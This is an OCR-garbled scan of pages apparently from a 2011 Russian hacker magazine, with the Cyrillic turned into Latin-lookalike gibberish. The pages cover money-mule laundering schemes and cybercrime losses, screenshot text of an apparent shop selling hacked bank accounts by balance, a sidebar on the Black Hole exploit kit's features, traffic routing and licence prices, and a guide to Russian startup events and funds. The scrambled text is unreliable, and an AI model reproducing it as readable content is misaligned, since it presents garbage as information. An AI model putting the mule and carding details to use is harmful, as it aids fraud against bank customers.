CTYMHUKN NPeANoYNTaOT CHUMATb AieHbr M Yepe3 Mynos. Mxc
camoro Hayana pa3boitHoro nnaHa HauMHaT UCKaTL MO MHETY,
KakK npasuiio, Nof BUMAOM peknamku: «Xovewwb 1000 6akcos
Byac? Tbikaii B baHHep!». HaBepHaka Tbl BUAEN Ky4dy Taknx
baHHepoB B MHTEpPHeTe, MPMYEM 3a4acTyio Ha BMoJiHe cebe
pecnekTabenbHbIX caiTax.

KT0-TO M3 leHeXHBIX 0CINKOB MOHWMAET, YT0 ie1aeT, KTo-
To—HeT. Belb ecIM NpecTyNHNKM NOLXOAAT K ey CyMoM,

OHMW COCTaBNAIOT TPYA0BOI AOrOBOP, MO KOTOPOMY paboTHMK
MpOCTO AOJIKEH CHUMATb AieHbrit B baHkax. Korga notom Myna
N0BAT—a IOBATUX MOYTH BCETa, —T€ MOTYTYITI B HECO3HAHKY
MToBOPUTHL: «Hyno3BonbTe, ke paboTtan! A v He 3Han, 4T03TO
He3akoHHo! BoTyMeHs forosop! Yo Bbl roBopute? leHbrn so-
poeanu?!BotcBonoyn! AroToB nomMoyb BaM, pebsatal A csamu!
HakaxeM 3n04eeB, TONbKO BOT S 0 HUX HUYErO He 3Hato, BCe
obLeHve bblno Mo 31eKTPOHHOV NoYTe». Takas cUTyaLus o4eHb
TUNUYHa, Hanpumep, B JlaTuHckon AMepuke. Tam BoobLe ntofen
NPUHATO MOC/e NEepBOro pasanpoLaTh: Hy He XOTes Ye0BeK
nnoxoro, bec nonytan. 41oxe, cpasy B TopbMy caxaTtb?!

MynoB niLyTBTOM 6aHKe, aKKayHTbI KOTOPOr0 YUCTHT.

/v MoryTnonpocuTb 0TKPbITb akKayHT. [1pn 3TOM My mo-
nyyaet 10-15% oT cHUMaeMow cyMMbl. YTo OH flenaeTnoToM?
OTnpaBnsieT fJeHeXKW Nt0b0o NnaTexHoi cucTeMon TMna
Western Union Cawe KysHeLoBy (370, Kak HU CTpaHHO, caMble
pacnpocTpaHeHHble UMsa u damunus ana Poccun) us ceoent
rHUN0M AMepUKU B KaKyto-H1BY b pa3BMBAIOLLYOCS CTPaHY
Tuna Poccumn. UckaTtb notom Cawy —3aHaTve becnonesHoe,
He roBopsiyxe o ToM, 4To Calua MoXeT KynuTb 1eBbIA NacnopTB
nepexofie UMNoNy4YnTb BCe Ha Hero.

Y70 HaLW He3aKoHoNnoCyWHbIN Callok UMeeTHa Bbixofe? Bee
3aBUCUTOTeroxagHocTu. EcnnyTebs xopoluo capndpmeTnkon,
Thl YK€ MOCYUTAS, 4TO HaYasbHbIE BIOXEHUS 060/AAY TCH MUHUMYM
B6000-7000 nonnapos. lonycTtum, botHeToky4nn 1000 t03epos,
XOTS B peasibHoCTU UX, KOHEYHO, byieT bonbLue. Te e aMepuKaH-
Libl XOTb Napy ThICAY 3e/1€HbIX HAa KAPTOYKe, Aa UMELOT. YMHOXKaeM
t03epoB Ha AieHbru, oTHUMaeM 10-15 % Ha Mynos, nosyyaemnycTb
naxe 500000 gonnaposunctoraHoM. MokpbiaeT 70007 Mue
KaxeTcs, BnosiHe. [1py 3ToM, NOBTOPUMCS, He CTOUT 3abbIBaTh,
4TOKMBEPNPECTYNHUKY, KOTOPbI PeLLWI BCE 3TO MPOBEPHYTh, HE
Haf0 ObITb HY KOLEPOM, HN aMUHOM, BoobLLe He Hapo 061apaTh
KaKUMW-TO peasbHbIMU TEXHUYECKUMU 3HAHUAMU.

MACLUTAB TPAT'ENN

Kak pe3ynbTaT—He yauButensHo, noyemy CMU no scemy Mupy,
aBAMepyKe BYaCTHOCTH, 04eHb Pery/IsipHO PanopTyioT 0 MHOro-
MUJIIMOHHbIX yBbITKAX CO CTOPOHbI YaCTHbIX MOJIb30BaTe el
nkomnaHuii. OfHa ToNibKo cTapyLika AR oTpanopToBana,
yToyLwepb oTKMbepnpecTynHOCTW B CTpaHe oLleHnBaeTcsa B 27
MApA dyHTOBBrOA. [ToyeMy Tak npoucxoanT? MpobytoT MHOT e,
a10BAT He BCeX. 3aKOHbI 60JIbLIMHCTBA CTPaH HAXOAATCH B
TaKOM COCTOSIHWM, YTO MO HUM OCYAUTH MPECTYMHUKA MOXKHO UK
YCNOBHO, UNW BCero Ha napy ieT. [1py sToM HUKTo He TpebyeT
BEPHYTb BCEX YKPAAEHHbIX IEHET, OTOMY YTO HUKTO He 3HaeT,
CKOJIbKO X BoObLLe bbinoykpageHo. MopabHO M 3TUYeCKK
COBepLIMTbL NPECTYNJeHNE B UHTEPHeTe NPOLLe: Thl He BUAWLb
XKEpPTBY BJINLLO, NPU 3TOM MHOT e XaKepbl I06ATUrpaTh posib
PobuH lynoB—HakasbiBaTh, CKaxeM, boraTbix aMepuKocoB Ha
XKaAHOCTb U MPUHLMNNANBHO, HAaNpUMep, He aTakoBaTb XUTeNell
pOAHOM CTpaHbl (XM...a f CAibIwan, YT0 3T0 MOTOMY, YTO B POSHON
CTpaHe 3a3T0o MHOrAa 0Tpe3atoT nanbubl. —puM. pes.).

He xBaTaeTnMmupoBoi kubepnonnum—ecnnBnocnegHue
rofibl OHa X0Tb fe-To cTana nosBAATLCA, TO HAf, B3auMoeit-
CTBMEM MOAPA3AENIEHNI MO BCEMY MUPY MeXy coboli eLue pa-
botatbupaboTaTh. [lpM aToM YacTb BONpocoB He byaeT peleHa
HUKOTAa 13-3a 00LLeNoNIMTUYECKUX MPENSTCTBUA: KaK U3BECTHO
n3xopouwero punbma «focne npouteHuns coxeyb»,y CLUAHeT
IKCTpafmumm c BeHecyanoi. 3C

50% For 5005 Balance

50% For 5005 Balance

50% For 500% Balance

(0% For S005 Balance

Bank of America.

50% For 5005 Balance

citibank

50% For'500% Balance

HSBC <X»

50% For 5005 Balance

N

REGIONS

505 For 500% Balance

Warrtanty : 3 day
Max buy : 3

Blin By : 1
In Stock = 13

= Buy With Balance

5008 1000% 15008 20005 000
Balance

Warrianty = 3 day
Ehaoe by - 30

Bon Bury = 5
In Siock 142

500% 10008 15008 20008 3J000%
Balance

© -

WWarranty : 3 day
Max buy : 30

Lian by & 5
In Siock: 42

=] Buy With Balance
2008 1000% 15008 20008 J000%

Balance

VWarrianty : 3 duoy
Bax buy : 30

M By £ 5
In Stock ;42
= Buy With Balance

S00% 10005 1500% 20008 J000%
Balance
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CnnounTt-ne

YTO3TO TAKOE?

CnnonT-naku cny»at 41s MacCoBOro
3apaXkeHuns noceTuTeTeN CalToB
yepe3ys3BMMOCTM B bpay3epax. Habop
akcnnomntoB Black Hole o1 pycckoro napHs
Paunch noasuncsa 4yTb bonblie roga Hasag
MyXeycrnes HagenaTb MHOMO WyMa.

) Black hole

CTATH

Cnnout-nak Beper I'IOﬂ,pO6HyI0 cTaTn-
cTUKy paboTbl:yuuTbIBatoTCS 06LL1a5 NO-
CelaemMoCTb, KONMYECTBO 3apaxeHuit,
3¢¢eKTI/IEHOCTb OTAENbHbIX3KCNIOUTOB
M CTpyKTypaTpaduka.

Bcebnokun CAaHHbIMM NpeACcTaBNATCoO-
6oliHacTpanBaeMble BULKET bl, KOTOpPbIe
MOXXHO I'ID,CI,KI'HO‘-IaTb/OTKJ‘IIO‘-IaTb,a
TaKXe MeHATb UXMecTopacnosiokeHue.

Black Hole B ocHoBHOM Mcnonb3yeT
pacnpocTpaHeHHble M ny6anyHo fo-
CTyNHbIE CNIOUThI. |_|plll 3TOMOHM AT
BHYLUNTESIbHbIV NPOLLEHT NpobuBa.

BaxHoit hyHKL e sBNReTCA N30-
LPEHHbI CKPUNT A5 HanpaBeHns
Tpaduka (TDS), koTopbii ucnonb3yeTcs
[NS HanpaBaeHns noab3oBaTeneit K
onpefieNieHHbIM Harpy3Kkam.
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Bbl60p Harpy3oK oCHOBbIBaeTCA HaTakKnx
kputepusix, kak OC, Bepcus bpaysepa,
CTpaHa npoucxoxaexus, pedepep seb-
canTa npaxeBpeMs3axona.

BoTtnuune otkoHkypeHToB Black Hole

uMmeeT cucTeMy nuueH3nin. OguHrogmc-
nonb3osanus ctont $1500, annueH3ns
Hanonrogaukeaptan—$1000u1$700.

BwmaeBlackHole Exploit KitBepcun 1.0.2
yTek Bnabnuk, NMHK Ans ee 3arpy3ku
onybnukosanpecypcthehackernews.
com. 3Tonpou3olwnoyepes2Hefenn
nocneny6aukaLmum copuos ZeuS.

3aucnonb3oBaHue cnioMTNakano
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Mapus «Mifrill» Hedeposa (mifrill@gameland.ru)

CTapTaﬂbI,,D,eHbI'VI nycnex

0 POCCUMUCKOM
CTAPTAN-CLLEHE

CIAPTAl bl

AEHDbI UW
YCNEX

Hwv B ogHom opyrov chepe, no-
Xanyw, HeT CTOJIbKO BO3MOXHO-
CTeW AN cTapTa, Kak Bobnactu
MHPOPMALMOHHBIX TEXHONOT M.
34ecb peyb Aaxe He 0 BO3MOX-
HOCTU cfenatb GeHOMEeHasbHYo
Kapbepy, paboTas B U3BECTHbIX
KoMnaHuax. Het! 3toTa cdepa,
re KOMMaHMo MOXKelllb C034aTb
Tbl caMm. [loBecTn npocTyto naeto
L0 paboTaloLLero npoToTMna,
MPOTOTUM O KOMMEPYECKOro
NpomyKTa, a NnpoayKT fo pabo-
Tatowero busHeca. M atotnyTh
MOXHO NMPOWTW BCEr0 3a He-
CKONbKo MecsLes!

XAKEP 10/153/2011

anpuMmepamuycnexa faneko XoauTb He
B HyxHo: Facebook v Mapk Llykepbepr,

Amazonu Ixedd besoc, Twitter n [lxxek
[opcra. Bce 3TM KOMNaHWM HeKOrAa HauynHanu efiBa
NN He Brapaxe, C KOAOM, HaNMUCaHHOM byKBanbHO
«Ha KoJieHKe». Tenepb XXe OHW NpeBpaTUINCh B
OrpoMHble 6U3HeChl CYMOMOMPaYnUTeIbHON Kanu-
Tanusaumen.

CerofiHs, Korga HoBble CEPBUCHI MOSBNSOTCS, Kak
rpubbl nocne TEpMOSIAEPHO0 LOXKAS, C/I0BO «CTap-
Tan», 0C06eHHO B POCCUIICKON e CTBUTENBHOCTH,
cebsi cunbHO fUCKpeANTMPOBao. M ieicTBUTENbHO,
Korga Tbl BUAKLWb, 410 90 npoekToB 13 100 HMYero
13 cebsi He NpeiCTaBASIOT, Thl MOXELLb MOAYMaTb,
4TO BCE 3TU HAYMHAHWUSA —noHas npodaHayus. Ho
370 06MaH4mBo. Ha 3anafe HaunHatoWwmux npeanpu-
HUMaTeNen XBaNsAT 33 COBEPLUEHHbIE OLLINOKY,
Be[lb faXe 0lMbKa—23To onbIT. BaTOM CTaThe Mbl He
OyneM pacckasbiBaTbTebe 0 TOM, YTOo Takoe cTapTanu
Kak fobutbcsycnexa. EqBanvatoyHacnoayyunoch
Obl nyyLue, 4eM, K npumepy, B kHure «Craptan» Mas
KaBacaku, ogHoro v nepebix paboTH1koB Apple n
M3BECTHOI0 BEHYYpHOro nHBecTopa CUanKoHoBo
L0NMHbI. Ho Mbl XOTUM NoMoyb Tebe npaBubHO CAe-
NaTb Ty CaMyto MOMbITKY CO3A4aTb MPOEKT, KOTOPbIi
nonageT B KPUTEPUI «OANH U3 BecaTu». Kak HanTu

€AVHOMbILLIEHHUKOB, KOTOPbIE FOTOBbI C FOJ10BOW
OKYHYTbCS BMPOEKT M He 0CTaHaBIMBATLCA, MOKa He
NOSIBUTCS CHavana npoToTun, anotoM paboTatoLuii
6n3Hec? Kak BbINTU Ha KOHCYIbTAHTOB-MEHTOPOB,
KoTOpble MOMOTyTcAienaTbTebe HeuTo, He TOJIbKO
MHTepecHoe, Ho ellle M cnocobHoe 3aBOEBbLIBATH
ayanTopuMIo M reHepupoBaTh goxoa? Yem npu-
BJleYb Tex JIoflel, KoTopble rOTOBbI MOMOYb Tebe ¢
dnHaHCMPOBaHMEM, YTODbLI MPOEKTOM 3aHUMANNCH
He 1Ba CMOJIOBMHOM Yel0BeKa, a NoSIHOLeHHas
KoMaHzAa M3 npodeccrmoHasnos, KOTOPbIE AeCTBY-
TeNbHO CNocobHbI caenaTb paboTalowmnii nposyKT?
BepHbIN MyTb KMONCKY OTBETOB Ha 3TN BOMPOCH —
NPUHUMaTb y4acTue B pa3ivyiHbiX CTapTanepckmx
MeponpuaTUsx. Mbl NofroToBUAN AN TeOS eMKUIA,
HO MCYepnbiBatoLWNiAi0630p TeX, KOTOPbIE CTOUT
noceTUTb B NepByio ouepeb.Ho gaxe TycoBka—
37O eLle He r1aBHoe. BaxHo, YTo moMuMo niofiei,
KOTOpble XOTAT3anyckaTb MPOEKThI, eCTb JIOAN,
roToBble B3T0 BKNaAbiBaThbes. B Poccun ceityac
aKTWBHO paboTaloT Kak YacTHble MUHBECTOPbI, TaK

1 BeHUYypHble GOHAbI, KOTOPbIe HE MPOCTO XKeNaloT,
a byKBaNbHO XaX4yTHaWTV TONIKOBbIE KOMaHAbI,
KOTOPbIE C FOPSALLMMU F1a3aMU XOTAT BOMIOTUTb B
XKU3Hb MAel0, KOTopas B CaMoM fiesie MoXeT rnpe-
BPaTWUTbCS BYCMELIHbI MPOEKT.
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MEPOMNPUATNA ONA CTAPTATIEPOB

Startup Weekend

Opranusatop: «nascTapT»
CanT:russia.startupweekend.org

Tpe:noBceMy MUpy, B TOM YMCIe B pasHbix ropogax Poccuu
Korpa: kpyrneiiirog

- Startup Weekend, 3a-
ponmsLluniica B Cuatne,
B ﬁ‘.ﬁa’. npakTVKa obLeMrpoBas.

"l!- Kaxabii Takoi «Yuk-
3HA», —3TOTpexAHeBHas
paboyas ceccus, Ha KoTopyto cobupaTCs KoMaH bl
MHTEPHET-NPOEKTOB, CNeLNaNNCTbl, 3KCNEepThl U3
obnactnITunHBecTopbl. 34€Ch MOXHO KaK MOJyYnTb
COBET, TaK M MPWBJIEYb HauasibHble UHBECTULMN. YUK-
3HAbI NPOXOAAT C BeYepa NATHMULbI 10 BeYepa BoC-
KpeceHbs. 3TO CNPeCCOBaHHbIN 1 04eHb aKTUBHbI
bopMaT, KOTOpbI AeT OTIMYHbIV LIAHC NONY4UTb
YCKOpEeHWe, HeobxoMMoe 151 BOMOLLeHUS MeyTa-
HWii B peanbHOCTb. Hanpumep, no pesynstatam 12-ro
«YUK-3HAa», KOMNaHusa «nascTapT» M Apkagui
MopeliHuc, rnaBHbIi cTapTan-uxHBecTop Poccuu,
AagyTKoMaHaam nyywmnx npoektos 4o $100000 Ha
npoekT. Takxe «[NaBcTapT» ABNSETCA BEHYYPHbIM
naptHepoM PBK (roTos couHsecTuposats 4o 75 %
oT0buWeroobbema TpebyeMbix MHBECTULUNA). «YUK-
3HAbI» MPOXOAST B pa3HbIXx ropogax Poccuu.

SumiT

Opranusartop: Knyb niHosatopos
Caitt:sumit.ru
Fpe: CankT-lMeTepbypr

Korpa: neto
Kny6 nHHoBaTopoB—3T0
6onee 2500 yenoBek,
mM 250npoekTo., 100 akc-
neptoB, 120 YacoB XMBbIX
BCTpey. SumlT genutcs
HaTpuaTtana.Bxone HyneBoro, npesBapuUTeNbHOrO
3Tana cobupatoTcs aen u popMupyoTcs npessa-
puTENbHblE COCTaBbl KOMaHA. 3aTtem cnepyetSumlT
Weekend, npeficTaBnsitoLLmin cBoero poga obyyato-
Lo BBOAHYIO NepeA ciefytoLmm atanom — Startup
Marathon. MapadoH gnutcsa Mecsiu, 1B Xxofe Hero
KOMaH/bl paboTatoT Haj NpoekTaMu B KOMOPTHBIX
ycnosusix. [IpoxoAsaTMacTep-Kiacchl BeAyLLUX
CrMeunanucToBno pa3paboTke, MEHELKMEHTY U
NPOABMXEHNIO I T-NMPOEKTOB, KOHCYNbTALMU MO BCEM
BO3HMKalOLL MM BONpocaM oT KoMaHabl SumlT. B 3a-
BepLeHve npoxogutInvest Fest, Ha KOTopoM KOMaH-
Lbl NpeACTaBAAT NpoeKTbl. BaToM roay Ha Invest
FestbbinunpurnalweHbl nHBecT-GOHAbI M BEAYLLNE
IT-koMnaHuu: Runa Capital, Almaz, ABRT, BTB, Mail.
ruGroup, EMC, Intel, PBK, RSV Venture Partners.

Startup Point

Opranusatop: Startup Point

CaiiT: startuppoint.ru
Ine:pasHble ropoga Poccum

Korpa: kpyrnbiiirog
gtartup Point

cTapTan-coobuiecTsom

pyHeTa, KoTopoe
HauuTbiBaeT6osee 10000yyacTHMKoB, 2500+
npoekToB, 200+ Y4aCTHbIX MIHBECTOPOB 1 BEHYYPHbIX
doHpos. Startup Pointysxe npusneknu 6onee $3 mnn
MHBECTULWIA B pa3inyHble MPOEKThI. [TOUHTBI—3T0
MeponpuaTUs He COpeBHOBaTe bHbIe. 3T0 CKopee
AVCKYCCUOHHAs NoLaiKa A1 aKTUBUCTOB, XKe-
NatLLMX HayaTb COBCTBEHHbI BU3HeC, 3KCNepToB 1
MHBECTOPOB. 3[8Cb MOXHO MO3HAKOMUTLCS C HOBbIMM
JI0AbMU, HANTW NapTHepa, BCTPETUTLCS C UHBECTO-
paMmu 1 aKcnepTaMu MHAYCTpUn. MoUHTLI COCTOAT U3
npeseHTauuiictaptanos B dopmaTte «Elevator Pitch»
(2-MWHYTHas Mpe3eHTaLms neped uHBecTopom) u
AOKNaf0BYyCMeLHbIX NpeAnpuH1uMaTenen Success
Story. MpoekTbl nosyyaoT GUAOEK 0T ayAUTOPUN 1
aKcnepToB. IHBECTOPbI, B CBOIO 04epefb, HaXoAAT
NPOEKTbI 415 BIOXKEHNS CPEACTB.

BcTpeun Startup Point
MpoBOAATCS OAHOUMEH-
HbIM KpynHe LM

MHBECTNUWOHHbBIE ®OH bl

Almaz Capital Partners

CaiT:almazcapital.com
Tun doHpa: BeHuUypHbIN

Denbtauusectuuuii: ~$100-500

Almaz Capital Partners—
POCCUICKUI BEHYYPHbIVA
¢doHp, 82008 1. 0cHO-
BaHHbIN AnekcaHapom
Fanuuknm ydpeaurtens u
ynpaBsioWwnii napTHep GoHAa BEHYYPHbIX UHBECTH-
umin Almaz Capital Partners nunkybatopa Runa Park,
B COCTaBKOTOPOro BXoANT DOHJ MOCeBHbIX UHBECTH-
Ui Runa Capital; 2010 roga uneH CoseTa poHia
«CKonkoBO»; Npe3naeHT KoHbepeHLumn Russian
TechTour 2004). B 2008 . 06beM doHaa cocTasnsan
$125 MnH, u3 kotopbix $60MaH Bnoxunu Ciscon UFG
AssetManagement.Ctexnop ¢poHaHBECTUPOBAN
BKkomnaHunAppollo Project, Parallelsugpyrue.
Odwcbl Almaz Capital Partners pabotatotB MockBe v
CWUNNKOHOBO BONNHE. «ANIMa3» UHBECTUPYET B MOJIO-
[ble MIHHOBALMOHHbIE TEXHOIOFMYECKME KOMNAHNUY
BMEeAUNHbBIX M TENIEKOMMYHWKALMOHHbIX 0TPACcAsX
6usnecaHaTepputopun Poccunu CHIL.B2010-M doHp,
nHBecTMpoBan B komnaxmio Qik (MobuibHoe Buaeo),
npoaatHyto Skypes 2011 M3a $150 MaH.

4 AimazCapital

L -
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Runa Capital
CaiiT: runacap.com/ru

Tun GoHpa: BeHYYPHbIX MHBECTULWIA MOCEBHOW M paHHe! CTagnun
DenbtauuBectuymii: ot $500 0 HECKONLKUX MAH

®oHpco3paHBaBrycre
2010r. ocHoBaTeNEM
Parallels nAcronis
Cepreem benoycoBbiM
nocHosatenem poHaa
Almaz Capital Partners AnekcaHgpom [anmuykum.
Runa Capital uHBecTupyeT B xaii-Tek-cTapTansl
paHHen cTafuv pasBuTUS. YNpaBnsioLwmnii napTHep
doHpa— Amutpuit Yuxayes. MiHTepecsl Runa Capital
HanpaBJieHbl, NpeX/ie BCero, HanporpaMMHoe obe-
crneyeHune, MOBUIbHbIE MPUIOKEHUS U MHTEPHET-
cepBuchl. BuncnonaptHepos poHga Runa Capital
Bx0AaTbonee 20 TexHonornyecknx npeanprHuMaTe-
nenunnpodeccroHanbHbix UHBECTOPOB. [leaTenb-
HocTb pOHAa NojaepxuBaeT busHec-nHkybaTop,
LieJ1b KOTOPOro BbipaLMBaHe KOHKYPEHTOCN0Cob-
HbIX TEXHOJIOMMYECKMX KOMMaHUIA U3 NepcrneKTUBHbIX
poccuitickux ctaptanos. MiHkybaTop nonyyvn Ha-
3BaHue Runapark. BecHovi aToro roga Runa Capital
810X1A $1 MIH B npoekT «MeTabap» (MHCTpyMeHT
419 BbICTpOro co3faHus Tynbapos ans bpaysepos).

Runa
Capital

Anpekc.®abpuka

Caift: company.yandex.ru/public/start/factory.xml
Tun poHAa: BeHYYPHbIX MIHBECTULMIA MOCEBHOMN M paHHeN CTafnn
Denbraunsectuunin: $50-100Tsic.

Anpekc.Pabpuka, 3a-
HUMaeTcs MUHBECTUPOBA-
HUEM Kak B 3apybexHble,

TaK v B poccuiickmne
cTapTansl, CBS3aHHbIe

CUHTepHET-b13HeCcoM, MynbTUMeANa, HaBUraLnen

1 ApyruMuTexXHonornaMu. HanepcnekTueHble
NpOeKThl AHAEKC FOTOB BTeYeHNe rofa noTpaTuTh
HECKOJIbKO MUJIIMOHOB J,0J11apPOB NPU CpeAHEeM
obbeMe duHaHcMpoBaHua Ha cTapTan B $50-150 Thic.
KoMnaHuio MHTepecyioT, BYaCTHOCTH, HOBbIE MOLLEN
fu3Heca B UHTEPHETE, MyNbTUMEANIAHbIE TEXHOJIO0-
rvv (pacnosHaBaHWe NnL, WTPUXKOAOB), HaBUT LS
1 colmanbHble KOMMYHWUKaLIMW, aHaI3 U CTPYKTY-
pUpoBaHMe MHPOPMALMOHHbIX MOTOKOB, METOANKM
13y4YeHNs NOBEAeHWs NoNb30BaTeNeil B UHTepHeTe,
pek/aMHble TEXHO0r MU, UHTepbeCHbIe peLLeHus,
aTakxe obpaboTkannpeacTaBaeHWe pasanyHbIX
LaHHbIX. Y AHAeKca ecTb 04eBUAHbBIA UHTEpPEC K
TEXHOJI0T 1AM, KOTOpble eMy TXeno pa3paboTaTb
BHYTPM KOMMaHUN.

XAKEP 10/153/2011



CTapTaﬂbI,,D,eHbI'VI nycnex

Bo BceM Mupe NpakTMKa NpoBefeHNsl MeponpuaTUil s cTapTanepos—
HOPMa, 0AHAKO y HAaC 0 TAKMX MOMHTAX, OX0XKE, Masio KTo 3HaeT. ABefib B
Poccuu oHMTOXe cyLiecTBYHOT. TyT COBCEM He 06513aTeNIbHO CPasy pBaThbCs

B6OV MNpeAcTaBNATL CBOM NPOEKTHa CyA Ny6MKK M MHBeCTOPOB. [ins
HayanaMoXHO MONpUCyTCTBOBATb HA MEPONPUATUAX BKayecTBe 3puTens,
noobwaTbcs, NocaylaTh AOKNAAbI, TOCMOTPETb HAa Npe3eHTaLuu.

HackDay

Opranusatop: cTyaus Beb-paspabotok Muxanna KeynHosa
CawTt: hackday.ru

Fpe:pasHble ropoga Poccum

Korpa: kpyrneiiirog

Cepusi MeponpusaTuii
HackDay vHTepecHa

Ha:CkDabl csouM popmatom. [lesus
4 =t «OTnpenponpoToTuna
3a2[JHsg» roBOpUT caM 3a
cebs. Dopmat pectuans HackDay 6bin paspaboTtaH
KomnaHueii Yahoo! ewe 8 2005 . g ns peanusauum
TBOPYECKNX UAEN COTPYAHUKOB U NpefcTaBaeHNs
NPOTOTWUMOB TON-MeHeAXKMeHTY. MeponpusTis Bbl-
TNARAT HEMHOTO MPOLLe MPeAbIAyLLMX. 34ech Yallie
BCEroHEeT UMEHNTbIX CMNKEPOB U KPYMHbIX MHBECTO-
pOB, HET 6UTBbI He Ha XKN3Hb, @ HA CMEPTb C COMepHU-
KaMu. 3aTo34eCb eCTb BO3MOXHOCTb MOSyYUTH OMbIT
11, BO3MOXHO, C0bpaTh KOMaH/y MM BNUCATLCS B
KaKol-ToMpoeKT. Bo BcsikoM ciiyyae, opraHusaTopsl
HackDay no3unumoHupyioT cBov pecTuBanu UMeHHo
Tak.Kctatn, HackDay npoBoasTcs Ha caMble Ha pas-
Hble TeMaTUKWM, 3TO He TOSIbKO I T, HO M KMHO, My3biKa,
KIWUMMENK, KOMNbIOTEPHbIE UFPbI, 3aHMMaTe NbHas
dun3nka n coBpeMeHHoe nckyccTso. M nponcxoant
3TO ,0BOJIbHO YaCTO.

Harvest

Kronposoaut: GreenfieldProject
Cait: greenfield-project.ru/harvest
Fpe: pasHble ropoaa Poccuu

Korpa: kpyrneiiiro

Mo dopmaTy cTapTan-
TypHup Harvest oueHb
MOX0X Ha CTpEMUTENb-
Hbli HackDay. 3o Toxe
nporpamMmMa co3faHus
MHHOBALMOHHbIX BU3HEC-NPoeKTOB C HYNs. 3a iBa
[LHS Y4aCTHUKM NporpaMMmbl BbibupatoT Hanbonee
UHTEpecHble neun, GopMUpYIT NPOEKTHbIE KOMaHAbI
UMpY NOLAEPXKE IKCMepToB paboTatoT Haj Ux pea-
nusauueit. Ha Harvest MoXxHo NpuiATH c cobcTBEHHOM
npeen, KOTOpyto yXKe AaBHO XO0Te10Ch peann3oBaThb.
AMOXHO HaNTV KOMaHAY e JMHOMbILLIEHHUKOB,
nopaboTaTh C3KCNepTaMu ¥ HaKOHEL, CABUHY Tb

CBOVI NPOEKTC MepTBON TOYKMN. OpraHn3oTopbl —
GreenfieldProject—aTo cTapToBas nnowanka s
BbICOKOTEXHOJIOTMYHbIX CTapTan-npoeKkToB, 00LLe-
HUS MOTEHUMaNbHbIX MPeLnpuHUMaTeNen N NofeN,
KOTOPbIM MHTEpecHo paboTaTb B cTapTan-npoeKTax.
OcHoBHas 3afia4a— GOpPMUPOBAHYME HOBOIO MOKOJIEe-
HWUS NpeAnpUHUMATENEN, FOTOBbIX OLLEHUBATL U UATH
Ha 0CO3HaHHBbI PUCK.

" Harvest

StartUp Week

Kronposoaut: STARTeurope, Initial Factor, «TexKpaHy EBpona»
Canr: startupweek2011.com

Fne:Bena, AscTpus

Korpa:c3no7okTa6ps2011r.

B3aBepLueHune xotenocb
Obl BKJIOUYUTb 1 0AHO
Hepoccuiickoe Mepo-
npusTue, 3to StartUp
Week Europe Festival —
KOMMYHWKaLIMOHHas NoLlaaKka 415 cTapTanos
LleHTpanbHoi n BocTouHoi EBpontl. KoHeYHo, He Ha
KaX[10e MeponpusTe ANs cTapTanos noefeLlb 3a
rpaHuuy, Ho BeHa He Tak y)X janeko, U netTeTbTyaa
COBCEM He TakK HakJlafiHo, Kak, Hanpumep, B LLITaTbI.
AMeponpusaTve ABHO 3ac/yXnUBaeT BHUMaHKs. Tak,
cnukepaMu Ha StartUp Week BbicTynsTokoso 70
€BPOMNeNCKNX IKCNepTOB UHTEPHET-UHAYCTPUY,
cepuiHbIX npeAnpuHuMaTenen nuueectopos. Cpean
Hux: IcTep [laiicoH, npefceatenb npaBaeHns
EDventures Holdings, MopTer JlyHa (MHBecTOp
Skypel, CredaH MaHuep, uisectop last.fm, Pewma
CaxoHu (ocHoBaTenb SeedCamp—04HOr0 U3 caMbix
Bonblnx busHec-nrky6aTopos EBponsl), Anekcanap
lFanuuknit, Almaz Partners, Hukonai MuTiownH,
ABRuTak nanee.

STARTUF WEEK

BaXHbIMM yyacTHMKaMU N06bIX CTapTanepcKUX TYCOBOK IBNSAOTCS
YacTHble MHBECTOPbI, a TaKXKe UHBECTULMOHHbIE GoHAbI. U Tex n apyrux
06beAUHSIET 0AHO —XKeJlaHWe HAWTN NepCNeKTUBHbIN NPOEKT, B KOTOPbIN

MOXXHO BNIOXWTb A€HbIM, NOJTY4UTb 33 3T0 ero onpeAesieHHyto aot. Ha
Tepputopuu Poccumm ctpan CHI cerogHs paboTaeT Lenblii psip KpynHbIX
BEHYYPHbIX 0praHn3auuii. Huxe — nuilb HEKOTOPbIE U3 HUX.

®oHp Microsoft

CaifT: ms-start.ru
Tun doHpa: rpaHTOBOr0 PUHAHCMPOBAHUS
DenbrarpanTos: ot $30 80 $100ThiC.

®oHp co3faH B KOHLE
2010 ropnakoMnaHumen
Microsoft B Poccum.
HanpaBneHue o4eHb
4yeTKoe —OoKa3aHue
npsiMON GUHAHCOBOW NOALEPXKKM POCCUNCKNM
cTapTanaMBobnacTvnporpaMMHoro obecneyenus
N nHTepHeT-ycayr. [pn 3ToM 3TOT GpOHA 3aMeTHO
BblfjeN1eTcsi Ha pOHe oCTaNbHbIX. [leno BToM,

4TO OH NpefoCTaBAseT POCCUINCKNM CTapTanam

He NHBECTULMK, @ rpaHThl, T.e. abcoioTHO
be3Bo3Me3gHoe puHaHCUpoBaHUe, He TpebytoLee
BO3BpaTacpeAcTB. 3anepsble noaroAa pabotsl
¢doHpabbino paccMoTpeHo nopsaaka 150 3asB80k
pa3/IMYHbIX CTapTanos, U3 HUX NOAAEPXKKY
NOAYYUIN yXKe NATb HAUMHAIOLLMX KOMMaHWA.
Pa3mepbl BbijaHHbIX rpaHToB Bapbupytotcs ot $30
10 $1001bic. Hanpumep, $100 Thic. Ha pa3suTHe
busHecanonyynn nepmckuit npoekt PiratePay,
pa3pabaTbiBatoLwuii pewweHve no bopsbe c
n1MpaTCTBOM B UHTEpHETe.

Microsoft
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MascTtapT

Cair: glavstart.ru
Tun dpoHpa: BeHYYypHBIN
Denbtauusectuymii: o $100TbiC.

3apavalnascTaprta
—BeJ/INYeHne noToka
HOBbIX UHTEpHeT-
NPOEKTOB, NHTEPECHbIX
LNsvHBecTopoB. [ns
3TOro, BYaCTHOCTY, MPOBOANTCS MEPOMNPUATUS
«Startup Weekend» n «BeHuypHbI ucKayHTep».
370 60MbLWE YeM BEHYYPHbINA GOHJ, HO KOMMNAHWS ro-
TOBa MPOMHBECTMPOBATH B MPOEKThI HAa CTAafUN Uaen
MAW NPOTOTUNA, KOTOPbIM AN AOBEAeHUS A0 CTaAUN
roToBoronpoayktaTpebyetcapo 12 Mecauesn ao
$100Tbic. PaccMaTpuBaloTCA MPoeKThI, UMeloLine
XOpoLUMe NepcrneKTUBbLI pocTa, — BMEPBYI0 04epefib
no pasmepyaygutopumn. boneetoro, Masctapt
SABNSETCA BEHYYPHbIM NapTHepoM Poccnitckol BeH-
